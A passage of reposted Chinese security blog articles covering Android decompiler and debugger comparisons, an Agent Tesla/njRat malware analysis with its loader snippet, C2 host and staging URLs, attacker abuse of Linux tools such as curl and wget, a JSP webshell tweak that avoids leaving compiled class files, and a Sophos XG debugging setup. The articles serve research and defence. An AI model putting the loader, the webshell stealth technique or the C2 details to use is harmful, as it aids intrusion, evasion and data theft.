在代碼可讀性上，Incinerator、JEB可讀性都很好。

在代碼還原度上，Incinerator與源碼最為相似，但是丟失了continue、break；JEB使用continue分開了if-else，將else後面的y /=a，與y *=a合併為新的y=y/a * a，並加入break，還原度上有了一定的改變。

反編譯器語義準確性代碼可讀性代碼還原度Incinerator×高中JEB高中GDA×低低Test5這次在“if(a10)”內部加入switch，在a為11、12時，執行“a=a * 5”，並continue返回內循環while，a為13時，執行“a=a * 6”，繼續往下執行，並不退出，a為14時，執行“a=a * 7” 退出switch， 與default中加入if-else，代碼如下：

publicvoidtest5(inty,inta){

while(y0){

y++;

while(a50){

a=a+1;

y=y+1;

if(a10){

switch(a){

case11:

case12:

a=a*5;

continue;

case13:

a=a*6;

case14:

a=a*7;

break;

default:

if(a100){

a=a*5;

continue;

}else{

y=y/a;

}

}

}

y=a*y;

break;

}

this.attachBaseContext(this);

}

}最後編譯成apk後反編譯，如下圖所示：

9423c2d3183b388f644c6fadcfbf5295

test5

通過上述對比可以看出在語義準確性上，Incinerator在switch將a為11、12、default中的continue錯誤表達為break，丟失了y *=a後面退出內循環的break；JEB保持了語義的正確性在，但在label_18的break之後，多了兩句無用的代碼a *=8;continue；GDA沒有識別出內循環，使用if與goto做處理，switch中a為11、12時多了break，沒有識別出a=14，且在default中，執行完y=y/a後繼續執行'a=a * 7'。

在代碼可讀性上，Incinerator識別出雙循環、switch-case可讀性上最好，JEB、GDA多次出現goto，在代碼可讀性上存在一定的影響。

在代碼還原度上，Incinerator與源碼最為相似，但在節點的退出上存在一定的問題，JEB、GDA在代碼的還原度上膨脹比較大。

反編譯器語義準確性代碼可讀性代碼還原度Incinerator×高中JEB中中GDA×中低調試能力測試逆向工程工具針對Apk可調試，對於研究人員來說有著極大的幫助，而對於已經發布後的應用再進行調試的話，可調試的前提條件會比較苛刻，如：設備是否root、調試屬性是否開啟、能否重打包等，這些因素都會影響著是否能夠調試，而影響調試功能的好壞、支持與否，取決於：能否stepover、stepinto、breakpoint，能否獲取/修改變量值等，這些因素都體現著調試器是否好用。所以我們從上述多個維度，對Incinerator、JEB的調試做下簡單對比，但因GDA不支持調試，所以下面的內容無法針對GDA進行測試對比。

這裡直接使用Android Studio自帶的example：Login Activity進行對比，如圖1-2所示：

72a03afc6836285c34d5e3234bf992fc

圖1

e1ecd5a7f6c45018c44dc7ea23ea0b3c

圖2

在登錄驗證的位置做細微修改，讓它基本不可能登錄成功，然後再分別使用JEB、Incinerator進行分析登錄過程，並繞過登錄限制。修改的代碼與登錄失敗，如圖3-4所示：

67e985a816171ca2bfbc7045086c456e

圖3

c686e78245ee860d6f9a03acecbcf3af

圖4

調試設備：Nexus 5X

系統版本：7.1.2

root狀態：已root

主要測試功能：

下斷點

步進

步過

跑至光標

顯示與修改變量值

免debugger屬性調試

smali調試

偽代碼調試

JEB調試首先手動安裝編譯好的apk，然後使用JEB反編譯對應apk，點擊JEB上的start. 如圖5所示：

f59a75d9a167571550761a7f9e0d45c7

圖5

出來Attach界面，因為應用還沒啟動，所以並沒有看到Processes中有進程列表，如圖6所示：

1d6c2a933eae2f3f45a43b8dfbfdaf61

圖6

通過命令（adb shell am start -D -n com.testdemo3/.ui.login.LoginActivity）啟動進程，JEB點擊（Refresh Machines List）刷新列表，看到已經跑起的測試案例，如圖7所示：

a7a1022cd33cdd32a34526e7950dc177

圖7

點擊Attach後，發現無法debug，按提示指app沒有開啟debuggable屬性或者設備沒有root，建議使用模擬器、root設備或者重打包app。 （實際上設備已root），如圖8所示：

14eb8cc4bcc1153f20d81ec3c48e0728

圖8

我們在AndroidManifest中加入android:debuggable='true'並重新編譯（如果是第三方的app只能嘗試用apktool等工具進行重打包，有簽名、完整性等校驗的話再想辦法將其繞過）

現在可以成功Attach上去。

我們使用JEB反編譯登錄界面的activity：LoginActivity，在按鈕的點擊觸發代碼中加入斷點，如圖9所示：

cb7e6b9d77ccdd3d0940a62ccbbe1773

圖9

因不支持在偽代碼中加入斷點，我們切換回smali（快捷鍵Q），在onClick的第一行按Ctrl+B加入斷點，如圖10所示：

2973f6abcb0812c148d737436de4b6d2

圖10

操作app，輸入帳號密碼，點擊：SIGN IN OR REGISTER，在JEB中成功觸發斷點，如圖11所示：

JEB此處有個優勢，它的佈局可以根據個人喜好隨意拖拉

4e5e64f1ce1c439f2938500955500b94

圖11

當前顯示的變量似乎有些異常，我們此時忽略他，鼠標放到00000040 處，點擊JEB的'Run to line'，成功跳到指定行，如圖12所示：

5e176b7f9fb8c43f2b0c2a4abbda242f

圖12

JEB一開始將所有變量當作int類型處理，我們分析代碼，可以知道此處的V1、V2是輸入的帳號與密碼，類型是String，因此，我們點擊V1、V2中的Type將int改為String，如圖13所示：

c5573234eacd57bc2809142639d00c88

圖13

v1、v2成功修正類型，對應的值也成功顯示出我們測試輸入的帳號密碼。

在JEB中點擊步進（Step Into）到LoginViewModel的login方法，如圖14所示：

7a36c5e8a7cabc39b6d6a50302369f5b

圖14

成功步進LoginViewModel的login方法，但是在這裡可以看到，剛才修改的類型（此處對應的是p1、p2）又重新變回了int。

根據smali可知道，接下來會調用LoginRepository的login方法，隨後返回Result

我們再繼續點擊兩次步進（Step Into）進入LoginRepository的login方法，如圖15所示：

9d65fb40f8f67ea74cea4507b3dcf0d4

圖15

在此方法中，它會繼續將帳號密碼傳給LoginDataSource的login方法，返回Result

繼續步進（Step Into）兩次，進入LoginDataSource的log

HireHackking

研究人員最近發現了一些惡意的Microsoft Office文件，這些文件試圖利用合法網站MediaFire和Blogger執行shell腳本，然後釋放Agent Tesla和njRat的兩個惡意變體。 Agent Tesla是一款著名的監視軟件，首次發現於2014年，它可以從web瀏覽器、郵件客戶端和FTP服務器中竊取個人數據，收集屏幕截圖和視頻，並收集剪貼板數據。 njRat（也稱為Bladabindi）是2013年首次發現的遠程代理木馬，能夠遠程控制受害者的設備，記錄擊鍵、訪問攝像頭、竊取瀏覽器中存儲的憑據、上傳/下載文件、操作註冊表等。

马云惹不起马云受影響的平台：Microsoft Windows

马云惹不起马云受影響方：Windows用戶

马云惹不起马云影響：控制和收集受害者設備中的敏感信息

马云惹不起马云 嚴重級別：嚴重

在本文中，我們將詳細介紹我們發現的文件、它們用於傳播有效負載的嵌入腳本，以及這些惡意軟件變體的行為。

第1階段在2022年9月，研究人員發現了兩種文件。一個是PowerPoint加載項，另一個是包含誘餌圖片和嵌入Excel表單的Word文件。這兩個文件都包含類似的VBA腳本，在打開文件後立即執行宏。

1.png

根據PPT插件中的VBA腳本（如上圖所示），代碼會自動觸發，因為它使用了“Auto_Open()”函數。其“ControlTipText”和“Tag”字段包含完整的命令“mshta”和MediaFire URL。我們可以在“vbaProject.bin”中看到完整的URL。

2.png

PPT加載項中的VBA宏

3.png

vbaProject.bin文件中完整的惡意URL

第2階段從下圖所示的Process Explorer中可以看到，“mshta”進程在點擊文件中的“Enable Macros”後立即啟動。這導致了MediaFire網站，這是一個合法的文件和圖片共享平台。

4.png

點擊“Enable Macros”後的Process Explorer

以下是第一階段VBA宏中“1.htm”的內容：

5.png

從MediaFire下載的“1.htm”

下圖顯示了將一些十六進製字符串轉換為ascii字符串後的更清晰的圖片。

6.png

轉換後的“1.htm”

這個HTML文件有三個主要任務：

1.從MediaFire網站傳送第三階段腳本文件；

2.終止任務WINWORD.EXE；

3.通過創建計劃任務添加持久性。它使用“mshta”連接到“http[:]//www.webclientservices.co[.]uk/p/1[.]html”網站，該網站每73分鐘包含一個類似的腳本。以下是2022年9月的博客截圖：

7.png

9月中旬www[.webclientservices[.co[.uk/p/1[.html]網頁

研究人員還發現，“www[.]webclientservices[.]co[.]uk”中的1.html文件已更新並重命名為“real all BACK SEP 2022”。嵌入式JavaScript也被修改了，現在可以發布其他惡意軟件。

8.png

9月底發現的www[.]webclientservices[.]co[.]uk/p/1[.]html更新頁面

第3階段“1.txt”中的PowerShell腳本是從MediaFire下載的，它通過進程空心化技術提供最終有效負載。它首先終止所有相關進程，並對加載程序和有效負載進行解碼。然後它調用最終有效載荷並部署它，繞過AMSI。主要惡意軟件和部分代碼被編碼並替換為字符串，以增加分析的難度。

9.png

用於加載代理特斯拉的PowerShell的全圖

10.png

執行PowerShell後的Process Explorer

在“Load Agent Tesla Payload”過程的第二部分中，變量$CLE11和$RNBX1是更換一些字符串後的最終有效負載和加載器。基於.NET的不同版本，它自定義了繼續進行進程空心化活動的路徑：

$Path='C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe'

$Path2='C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe'

$Path3='C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe

[Ref]/Assembly:Load((HexaToByte($RNBX1))).GetType('CALC'.PAYSIAS'.'GetMethod'(Execute).Invoke($null,[object[]] ($Path, HexaToByte($CLE11)));

研究人員將$RNBX1保存為可執行文件，並用dnSpy打開它。目標類和方法如下圖所示。此.Net加載器利用一些模糊處理來隱藏主要API（CreateProcess、VirtualAllocEx…等）。

11.png

Net Loader

研究人員找到了目標進程“jsc.ex”、“caspol.exe”和“Msbuild.exe”，它們在受害者的設備中安靜運行。詳細信息如下圖所示。

12.png

流程空心化時的Process Explorer

在PowerShell部分的末尾，它禁用了日誌記錄，並通過打補丁繞過AMSI。詳細步驟如下所示。

13.png

繞過PowerShell中的AMSI

最後階段（第一部分）第一個惡意軟件負載是Agent Tesla。這種變體在9月中旬開始傳播。它包括合法的文件信息，“NirSoft”公司的“Web瀏覽器密碼查看器”，並使用FTP發送被盜數據。

14.png

Agent Tesla的基本信息

下圖是用於傳輸提取數據的攻擊者FTP服務器信息的屏幕截圖，包括用戶名和密碼。此變體還將自身複製到%appdata%目錄中，文件名為“NGCwje.exe”以進行持久化。

15.png

攻擊者的服務器信息

然後，它開始提取受害者設備的信息，例如基板的序列號、處理器ID和MAC地址。然後，它為該數據生成一個MD5哈希。

16.png

為受害設備的信息生成Md5哈希

Agent Tesla使用一個典型的應用程序列表來竊取登錄憑據、Cookie、郵件信息和VPN數據。這些項目的一部分如下圖所示：

17.png

目標瀏覽器應用程序列表

一旦惡意軟件從受害者的設備檢索到憑證和其他信息，它通過使用硬編碼IP的FTP協議發送這些數據。

18.png

使用FTP協議

19.png

從受害者設備捕獲的流量

根據遇到的不同類型的文件，它使用四種打開字符串：“CO”表示cookie數據，“KL”表示鍵盤記錄，“PW”表示受害者的密碼信息，“SC”表示屏幕截圖文件。惡意軟件使用下劃線將數據類型、用戶名、設備名稱和時間戳連接在一起，作為數據ZIP文件的文件名。被盜zip文件列表如下所示：

20.png

FTP服務器上Zip文件的部分列表

最後階段（第二部分）第二個有效載荷是njRat，也稱為Bladabindi。它是一個.NET特洛伊木馬，用於控制和監控受害者的設備。此變體對其字符串生成和代碼流使用模糊處理。從方法ko()的IDA圖形概覽中，你可以看到這個變體更複雜，但你仍然可以識別類似的函數。

21.png

IDA圖概述

22.png

njRat的入口點

23.png

字符串解碼功能

首先，它在“Startup”和“Templates”文件夾中創建lnk和exe文件，文件名為“Windows”。這個名字用來欺騙用戶和分析師，讓他們認為它是合法的Windows文件。

24.png

創建持久性

然後，它以相反的順序獲取命令和控制服務器主機名和端口號。

25.png

命令和控制服務器信息

為了確保此惡意軟件只在此受害者上運行一次，它添加了名為“di”、數據為“!”的“HKEY_CURRENT_USER”。

26.png

添加到“HKEY_CURRENT_USER”中的註冊表

27.png

註冊表狀態

它還創建了一個帶有字符串“Windows”的互斥鎖，將環境變量“SEE_MASK_NOZONECHECKS”設置為1，並檢查此互斥鎖是否以前創建過。如果是，則結束該過程。

28.png

創建互斥鎖

29.png

設置環境變量

如下圖所示，收集設備信息後，它使用base64對其進行編碼並連接數據。然後，它使用硬編碼的TCP端口7575將數據傳輸到服務器“mobnew6565[.]duckdns[.]org”。

30.png

連接數據

以下是Win10受害者設備的C2流量。分隔符更改為“|-F-|”，版本為“v4.0”，但數據包的格式類似於舊的njRat版本：

31.png

從受害者處捕獲的流量

除了Agent Tesla和njRat，研究人員還在更新的HTML文件“www.webclientservices.co[.]uk/p/1[.]HTML”中找到了一個簡短的腳本，該文件將挖礦軟件下載到“C:\\ProgramData”。這是一種奇怪的行為，因為此攻擊鏈中的每個步驟都試圖在受害者的設備上不留下任何物理跟踪或文件。研究人員認為這可能會分散受害者的注意力，以免他們注意到另一個進程正在加載njRat。

32.png

下載挖礦軟件的JavaScript

33.png

njRat和miner的Process Explorer視圖

總結Agent Tesla和njRat多年來都是高度活躍的惡意軟件。它們的功能成熟，易於用於監視或竊取信息。如上所述，惡意URL不斷更新其嵌入的JavaScript，這意味著這些釣魚電子郵件和誘騙辦公室文件始終是傳播此惡意軟件的有效方式。網站中嵌入的所有VBA宏、PowerShell和JavaScript代碼都可以部署無文件攻擊，也可以通過混淆或編碼字符串來逃避一些病毒檢測。

用戶應始終警惕任何包含外部網站鏈接的辦公室文件或未知文件。

34.png

攻擊流程

HireHackking

通過趨勢科技的蜜罐和監測技術，研究人員能夠觀察到攻擊者濫用原生Linux 工具對Linux 環境發起攻擊的實例。

採用容器已經成為主流，各類企業的使用率都在上升。根據CNCF 的一項調查，93% 的受訪者目前正在或計劃在其運行中使用容器。像Kubernetes這樣的容器項目和其他在雲和互聯網上可用的工具，已經導致了組織運作方式發生變化，從單一架構到創建由微服務組成的分佈式系統。

由於使用了容器這些變化也導致了攻擊面的擴大，特別是通過在部署中引入的安全錯誤配置或漏洞。對於使用容器的企業來說，補丁管理常常是一項巨大的任務，這意味著更新並不總是及時地實現，這使得云安全更加複雜。

研究人員已經在面向公眾的Web 應用程序中發現了各種來源的嚴重漏洞，從易受攻擊的開源庫（Log4Shell 和Spring4Shell）到框架（Apache Struts 和Drupal），甚至是諸如Atlassian Confluence、Oracle WebLogic Server 和Apache HTTP Server等應用程序。一旦漏洞的概念證明(POC) 被披露，攻擊者就可以利用它們執行惡意任務，從挖掘加密貨幣到有時部署勒索軟件。

從防御者的角度來看，理想的結果是阻止攻擊者獲得最初的立足點。然而，情況並非總是如此。如果攻擊者確實設法進入系統，則防御者的工作就是通過使用縱深防禦策略使攻擊者更難成功地完成攻擊。

通過蜜罐網絡和監控分析，研究人員能夠觀察到大多數成功利用嘗試的一些有趣特徵，特別是攻擊者如何在其例程中使用本機Linux 工具。

在Linux 環境中使用合法實用程序和工具檢查攻擊對基於Linux 的系統的攻擊通常遵循標準的利用鏈。首先，攻擊者利用一個漏洞或一系列漏洞來獲得對環境的初始訪問權限（我們現在可以將其視為受到攻擊）。此時，攻擊者可以採取不同的路徑進一步進入被破壞的環境：

1.枚舉當前環境的上下文（發現）；

2.從環境中洩露敏感數據（洩露、影響）；

3.通過刪除應用程序執行拒絕服務攻擊（影響）；

4.通過下載挖礦軟件來挖掘加密貨幣（影響）；

5.嘗試其他技術（權限升級、橫向移動、持久性或憑據訪問）；

1.png

攻擊者如何在受感染的環境中進一步發起攻擊

基於真實世界的攻擊和蜜罐捕獲的樣本，研究人員觀察到攻擊者使用與Linux 發行版捆綁在一起的各種啟用工具，例如curl、wget、chmod、chattr、ssh、base64、chroot、crontab、ps 和pkill ，這些工具都可以被攻擊者利用。

我們已經看到攻擊者在野外濫用這些工具。至少應該考慮這些實用程序的存在，尤其是在容器環境中，因為它們為攻擊者提供了額外的途徑。

2.png

使用base64解碼有效負載，以便稍後執行

base64 工具是一個Linux 實用程序，用於解碼以base64 格式編碼的字符串。攻擊者經常使用base64 編碼來混淆他們的有效載荷和命令以逃避檢測(T1027)，我們在之前的文章《恶意Shell脚本的进化》 中詳細描述了這種技術。

3.png

使用“cat”進程查看所有用戶的.bash_history

.bash 歷史文件存儲在用戶的主目錄中，記錄用戶在其bash shell 上執行的命令。眾所周知，攻擊者會從這些文件中提取信息以了解當前環境的上下文，正如我們之前在另一篇文章中所詳述的那樣，錯誤配置的Docker 守護程序API 端口因Kinsing 惡意軟件活動而受到攻擊。

4.png

使用“cat”進程查看“/etc/passwd”

作為枚舉步驟的一部分，攻擊者訪問/etc/passwd 文件，該文件包含環境中已註冊用戶的列表，並顯示給定用戶是否具有與其登錄相關聯的shell（T1003.008）。此信息有助於攻擊者了解環境並確定有價值的用戶。

5.png

使用“chattr”` 將/etc/crontab 文件修改為可變

chattr 實用程序用於更改文件和文件夾屬性，以控製文件的刪除和修改等突發操作。上圖中的示例顯示/etc/crontab 文件的屬性已被更改，導致文件不安全。正如《分析TeamTNT 的活动》 中所討論的，該實用程序之前已被觀察到被TeamTNT 濫用。

6.png

使用“chmod”使文件可執行

chmod工具用於修改文件模式，實現用戶/組訪問粒度化。它需要執行新下載的可執行文件，在本例中，我們看到/tmp路徑上的agettyd文件被設置為可執行位。

7.png

使用“crontab”刪除所有現有的cron 作業

cron作業是用於調度任務(或作業)的實用工具。眾所周知，攻擊者濫用cron作業並修改“crontab”來執行執行、持久性，有時還會使用特權升級技術(T1053.003)。上圖中的示例顯示了對現有cron作業的刪除。這種情況很常見，加密貨幣挖礦軟件通過刪除其他挖礦軟件的痕跡來劫持盡可能多的資源。《Linux 加密货币挖矿软件之战》 深入討論了這些活動。

8.png

使用“curl”將系統信息洩露給攻擊者

curl 或cURL 實用程序用於跨不同協議傳輸數據，例如HTTP、HTTPS 和文件傳輸協議(FTP)。上圖中的示例顯示操作系統版本和發布版本等系統信息作為POST 請求發送到攻擊者的基礎設施。

9.png

使用“curl”從GitHub 下載xmrig 二進製文件

在本例中，curl用於從Github下載XMRig 挖礦軟件的二進製文件。眾所周知，攻擊者濫用像Github和Netlify這樣的合法平台來服務於加密挖掘工具，正如我們在之前的《通过 GitHub、Netlify 提供的门罗币挖掘恶意软件漏洞》 博客中解釋的那樣。

10.png

使用“pkill”阻止競爭進程/coinminer

kill 套件實用程序用於向進程發送信號，如上圖中的示例所示，它將SIGKILL 信號發送到名為“kdevtmpfsi”的進程。早在2020 年，我們就一直在追踪名為kdevtmpfsi 的加密貨幣挖礦軟件，《分析 Kinsing 恶意软件对 Rootkit 的使用》 展示了另一個競爭挖礦軟件被終止的例子。

11.png

使用“ps”查看正在運行的進程

ps 實用程序用於查看進程的狀態。上圖顯示了ps aux 命令獲取有關進程的詳細信息，例如係統上當前正在運行的進程、進程ID 和進程權限。此信息可以幫助攻擊者執行與發現相關的技術（T1057 ——進程發現）並獲取有關他們所處環境的信息。

12.png

使用“rm”從/tmp 目錄中刪除隱藏文件

在上圖中，我們看到rm 工具用於刪除/tmp 目錄下的隱藏文件和文件夾。在文件或文件夾名稱之前，攻擊者可以通過添加“.”來創建隱藏目錄以逃避檢測（隱藏工件：隱藏文件和目錄- T1564.001）。

13.png

使用“ssh”通過XMR 挖礦軟件感染底層主機

ssh 實用程序是用於通過Secure Shell (SSH) 以類似蠕蟲的方式訪問系統的遠程客戶端。在上圖中，攻擊者嘗試下載Monero 挖礦軟件（使用wget/curl）並感染正在嘗試SSH 的遠程計算機（127.0.0.1）。一旦攻擊者由於容器的不安全配置（例如，特權容器）而掛載了底層主機的文件系統，他們就會創建新的SSH 密鑰對，使用它來建立“ssh”會話，並用加密貨幣挖礦軟件感染底層主機。

14.png

使用“wget”、“curl”、“chmod”下載並執行Mirai 惡意軟件

在此示例中，我們看到了不同Linux 實用程序的組合使用，其中下載了二進製文件，修改了權限，然後再執行。名為“runnable”的可執行文件是在CVE-2021-44228跟踪的Log4shell漏洞被利用後發布的Mirai示例。

15.png

使用“whoami”查看當前用戶上下文

16.png

顯示攻擊者使用“chroot”和“base64”的工作台

使用Vision One 工作台，我們看到攻擊者正在使用chroot 和base64 實用程序。請注意，chroot 用於將根更改為提供的目錄（在本例中為/host），其中底層主機的文件系統安裝在容器中。在《为什么特权容器很容易被攻击》 一文中，我們探討了此函數在授予容器時所帶來的風險。

保護Linux 系統免受實用程序濫用的最佳實踐使用distroless 鏡像通過觀察上一節中討論的技術，我們看到攻擊者可以使用一組與完整操作系統捆綁在一起的工具。作為防御者，使用只包含我們需要的工具的容器映像並刪除不需要的工具會更安全。

這種安全方法可以在很大程度上幫助降低風險，即使是針對諸如Log4Shell 之類的關鍵漏洞也是如此。減少應用程序運行所需的工具數量也減少了由開源庫和工具中的依賴漏洞引入的攻擊面。這裡介紹無發行映像的概念，這些映像被描述為僅包含應用程序及其運行時依賴項的映像，消除了你期望在典型Linux 發行版中找到的程序，例如包管理器和shell。

Cloud One 工作負載安全——應用程序控制從防御者的角度來看，重點應該是通過縱深防禦策略抵禦。雖然對系統進行更改以盡量緩解甚至防止濫用會有所幫助，但利用多種安全措施的多層方法將提供最強的安全級別，理想情況下是將最佳實踐與有效的防禦技術結合起來。

對於非容器化環境，Cloud One 工作負載安全提供了應用程序控制模塊，該模塊監控軟件更改並根據設置的配置允許或阻止它們。它創建現有應用程序的基線並將規則應用於下載和安裝的新應用程序。它基於二進製文件的SHA256 哈希值工作。

它為用戶提供了執行以下操作的選項：

在明確允許之前阻止無法識別的軟件；

在明確阻止之前允許無法識別的軟件；

我們在Ubuntu 20.04 長期支持(LTS) 服務器上使用wget 從GitHub 下載nmap 網絡枚舉工具的預編譯二進製文件。然後，服務器配置了Cloud One 工作負載安全代理，該代理運行應用程序控制模塊，為無法識別的軟件設置為“阻止”模式。如下圖所示，應用程序控制阻止了執行。

17.png

使用來自Cloud One Workload Security的Application Control模塊防止“nmap”二進製文件的執行

18.png

在Cloud One Workload Security上對應的事件，我們看到“nmap”二進製文件被阻止執行

總結由於攻擊者利用了內置在操作系統中的合法工具和實用程序，防御者將需要優先考慮如何在攻擊的不同階段設置控制。通過在容器中使用無分發映像和應用預防性控制(如Cloud One Workload Security的應用程序控制)來最小化攻擊面，可以大大降低針對雲環境的攻擊者的速度。在組織無法使用無發行版實現的情況下，也可以使用相同映像的“精簡”版本來減少攻擊面並加強雲部署的安全性。

HireHackking

0x00 前言在之前的文章《Java利用技巧——通过反射实现webshell编译文件的自删除》 曾介紹了通過反射實現AntSword-JSP-Template的方法。對於AntSword-JSP-Template中的shell.jsp，訪問後會額外生成文件shell_jsp$U.class。《Java利用技巧——通过反射实现webshell编译文件的自删除》 中的方法，訪問後會額外生成文件shell_jsp$1.class。

在某些特殊環境下，需要避免額外生成.class文件。本文將以Zimbra環境為例，介紹實現方法，開源代碼，記錄細節。

0x01 簡介本文將要介紹以下內容：

马云惹不起马云 實現思路

马云惹不起马云實現代碼

0x02 實現思路基於《Java利用技巧——通过反射实现webshell编译文件的自删除》 中的方法，訪問後會額外生成文件shell_jsp$1.class，這裡可以通過構造器避免額外生成.class文件。

在具體使用過程中，需要注意如下問題：

(1)反射機制中的構造器正常調用的代碼：

image.png

通過反射實現的代碼：

image.png

(2)選擇合適的defineClass()方法在ClassLoader類中，defineClass()方法有多個重載，可以選擇一個可用的重載。

本文選擇defineClass(byte[] b, int off, int len)

(3)SecureClassLoader使用構造器時，應使用SecureClassLoader，而不是ClassLoader

示例代碼：

image.png

0x03 實現代碼為了方便比較，這裡給出每種實現方法的代碼:

(1)test1.jsp來自AntSword-JSP-Template中的shell.jsp，代碼如下：

image.png

保存在Zimbra的web目錄：/opt/zimbra/jetty_base/webapps/zimbra/

通過Web訪問後在目錄/opt/zimbra/jetty_base/work/zimbra/jsp/org/apache/jsp/生成以下文件：

马云惹不起马云_test1_jsp.java

马云惹不起马云_test1_jsp.class

马云惹不起马云_test1_jsp$U.class

(2)test2.jsp來自《Java利用技巧——通过反射实现webshell编译文件的自删除》 中通過反射實現AntSword-JSP-Template的方法，代碼如下：

image.png

通過Web訪問後生成以下文件：

马云惹不起马云 _test2_jsp.java

马云惹不起马云_test2_jsp.class

马云惹不起马云_test2_jsp$1.class

(3)test3.jsp基於test2.jsp，通過構造器實現，代碼如下：

image.png

通過Web訪問後生成以下文件：

马云惹不起马云_test3_jsp.java

马云惹不起马云 _test3_jsp.class

(4)test4.jsp基於test3.jsp，不使用base64Decode()，代碼如下：

image.png

通過Web訪問後生成以下文件：

马云惹不起马云 _test4_jsp.java

马云惹不起马云 _test4_jsp.class

在代碼實現上需要注意Java語言中數組必須先初始化，然後才可以使用。

0x04 小結本文分享了一種不額外生成.class文件的實現方法，對於開源的代碼test4.jsp，還可以應用到Java文件的編寫中。

HireHackking

0x00 前言Sophos UTM和Sophos XG是兩款不同的產品，前者偏向於通用威脅管理，後者偏向於硬件防火牆。本文將要介紹Sophos XG漏洞調試環境的搭建方法。

0x01 簡介本文將要介紹以下內容：

马云惹不起马云環境搭建

马云惹不起马云jetty調試環境搭建

马云惹不起马云csc配置文件解密

马云惹不起马云 Postgresql數據庫查詢

0x02 基礎知識架構如下圖

image.png

注：圖片引用自https://codewhitesec.blogspot.com/2020/07/sophos-xg-tale-of-unfortunate-re.html

總的來說，分為以下三部分：

马云惹不起马云 Jetty：處理Web數據，將數據轉發至csc作進一步處理

马云惹不起马云csc:主程序：加載Perl Packages，實現主要功能

马云惹不起马云Postgresql：用來存儲數據

我在實際研究過程中，這三部分遇到了以下問題：

马云惹不起马云Jetty：添加調試信息後無法啟動java

马云惹不起马云csc：csc加載Perl Packages後會自動刪除，無法獲得Perl Packages的實現細節

马云惹不起马云Postgresql：用戶權限低，無法查詢數據庫表

下面將要逐個介紹三個問題的解決方法。

0x03 環境搭建參考資料：

https://docs.sophos.com/nsg/sophos-firewall/18.5/Help/en-us/webhelp/onlinehelp/VirtualAndSoftwareAppliancesHelp/VMware/VMwareInstall/index.html

1.下載安裝包官方網站默認只提供最新版本的下載，但是可以通過猜測正確的版本號下載舊版本

例如18.5.3 Virtual Installers: Firewall OS for VMware：

https://download.sophos.com/network/SophosFirewall/installers/VI-18.5.3_MR-3.VMW-408.zip

18.5.2 Virtual Installers: Firewall OS for VMware：

https://download.sophos.com/network/SophosFirewall/installers/VI-18.5.2_MR-2.VMW-380.zip

2.導入VMware Workstation下載得到zip文件，解壓後運行sf_virtual.ovf

3.VMware Workstation網卡配置需要添加兩個網卡VMnet7和VMnet8，VMnet7設置為Host-only和172.16.16.0，VMnet8設置為NAT，具體方法如下：

(1)VMnet7

打開VMware Workstation，依次選擇Edit-Virtual Network Editor.

Add Network.-VMnet7

VMnet7設置為：

马云惹不起马云Type: Host-only

马云惹不起马云Subnet Address: 172.16.16.0

(2)VMnet8

VMnet8設置為：

马云惹不起马云Type: NAT

4.Sophos XG網卡配置Network Adapter設置為VMnet7

Network Adapter 2設置為VMnet8

Network Adapter 3設置為VMnet8

配置如下圖：

image.png

5.啟動Sophos XG默認登錄口令：admin

6.查看IP地址依次輸入1.Newwork Configuration-1.Interface Configuration

得到LAN的ip為172.16.16.16

7.進入Web配置頁面進行激活瀏覽器訪問https://172.16.16.16:4444

註冊頁面選擇：I don't have a serial number(start a trial)

按照提示進行註冊。

註冊成功後，重新訪問https://172.16.16.16:4444進行配置。

0x04 jetty調試環境搭建1.查看Java進程相關信息

執行命令：ps ww|grep java

輸出：

image.png

從輸出中得到Java版本為java-11-openjdk

2.定位配置文件配置文件路徑為/usr/bin/jetty，內容如下：

image.png

3.添加調試參數修改文件屬性：mount -o rw,remount /

在exec所在行添加調試參數：'-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:8000'

4.重啟服務執行命令：service tomcat:restart -ds nosync

查看服務狀態：service -S | grep tomcat

發現tomcat狀態為STOPPED

為了獲得詳細的報錯信息，直接運行/usr/bin/jetty

輸出：

image.png

發現是JDK的問題，這裡選擇替換一個完整的JDK。

5.替換JDK下載jdk-11.0.15_linux-x64_bin.tar.gz並上傳至Sophos XG

備份原文件夾：cp -r /lib/jvm/java-11-openjdk /lib/jvm/java-11-openjdk_backup

將jdk-11.0.15_linux-x64_bin.tar.gz解壓：tar zxvf /tmp/jdk-11.0.15_linux-x64_bin.tar.gz

替換/lib/jvm/java-11-openjdk:

image.png

6.再次重啟服務執行命令：service tomcat:restart -ds nosync

查看服務狀態：service -S | grep tomcat

發現tomcat狀態為RUNNING

確認參數被修改，執行命令：ps ww|grep java

輸出：

image.png

7.修改防火牆規則執行命令：iptables -I INPUT -p tcp --dport 8000 -j ACCEPT

8.使用IDEA遠程調試如下圖

image.png

在調試過程中，如果遇到無法下斷點的情況，重啟java服務即可：service tomcat:restart -ds nosync

0x05 csc配置文件解密查看csc進程相關信息。

執行命令：ps ww|grep csc

部分輸出：

image.png

csc進程讀取/_conf/cscconf.bin作為配置文件，而/_conf/cscconf.bin是一個加密的文件，所以這裡需要對/_conf/cscconf.bin進行解密。

這裡我採用的方法是通過IDA修改程序代碼，改變實現邏輯，導出解密後的配置文件。

使用IDA加載csc，查看main()函數的實現邏輯，部分代碼：

image.png

分析以上代碼，csc先調用extract_conf()函數導出配置，最後執行系統命令rm -rf /_conf/csc/csc /_conf/csc/csc.conf /_conf/csc/cscconf//_conf/csc/constants.conf /_conf/csc/cscconf.tar.gz /_conf/csc/global.conf /_conf/csc/cfsconf /_conf/csc/service /_conf/csc/bind_file_list刪除配置文件，導致我們無法直接獲得相關配置文件。

查看extract_conf()函數的實現代碼：

image.png

分析以上代碼，csc先調用sub_8052494()函數對/_conf/csc/cscconf.tar.gz進行解密，接著執行系統命令tar -zxf /_conf/csc/cscconf.tar.gz -C /_conf/csc將配置文件釋放到文件夾/_conf/csc

綜合以上分析，我們可以採取以下方式導出配置文件：修改csc程序，將釋放路徑/_conf/csc修改為另一路徑，例如/var/aaaaa，那麼，csc在刪除配置文件時，由於指定了固定的絕對路徑，導致無法刪除新的文件夾，這樣我們就能從中獲得完整的配置文件。

具體的實現方法如下：(1)修改csc使用IDA加載csc，查看Exports，找到extract_conf，雙擊進入IDA View，定位到字符串tar -zxf /_conf/csc/cscconf.tar.gz -C /_conf/csc，如下圖：

image.png

切換到Hex View，如下圖：

image.png

將/_conf/csc修改為/var/aaaaa，如下圖：

image.png

右鍵選擇Apply changes

依次選擇Edit-Patch program-Apply patches to input file.-OK，生成新的文件csc

